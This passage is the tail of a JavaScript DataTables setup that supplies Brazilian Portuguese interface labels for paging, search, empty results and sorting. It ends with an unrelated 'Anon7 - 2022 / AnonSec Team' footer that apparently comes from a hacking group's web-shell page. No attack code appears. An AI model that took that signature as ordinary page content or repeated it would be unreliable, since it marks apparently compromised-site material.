\"dataTables.portuguese-brasil.lang\",\n            \"sEmptyTable\": \"Nenhum registro encontrado\",\n            \"sInfo\": \"Mostrando de _START_ até _END_ de _TOTAL_ registros\",\n            \"sInfoEmpty\": \"Mostrando 0 até 0 de 0 registros\",\n            \"sInfoFiltered\": \"(Filtrados de _MAX_ registros)\",\n            \"sInfoPostFix\": \"\",\n            \"sInfoThousands\": \".\",\n            \"sLengthMenu\": \"_MENU_ Resultados por página\",\n            \"sLoadingRecords\": \"Carregando...\",\n            \"sProcessing\": \"Processando...\",\n            \"sZeroRecords\": \"Nenhum registro encontrado\",\n            \"sSearch\": \"Pesquisar \",\n            \"oPaginate\": {\n                \"sNext\": \"Próximo\",\n                \"sPrevious\": \"Anterior\",\n                \"sFirst\": \"Primeiro\",\n                \"sLast\": \"Último\"\n            },\n            \"oAria\": {\n                \"sSortAscending\": \": Ordenar colunas de forma ascendente\",\n                \"sSortDescending\": \": Ordenar colunas de forma descendente\"\n            }\n        }\n    });\n\n});\n"]}

Anon7 - 2022
AnonSec Team